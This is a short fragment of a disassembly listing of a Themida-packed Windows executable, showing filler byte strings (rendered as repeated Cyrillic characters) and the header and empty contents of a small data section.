'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001BE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BE000h dd 80h dup(0) dd 113h dup(?) dword_5BE64C dd 26Dh dup(?) ; DATA XREF: Themida_:0053DAF4o _idata2 ends end start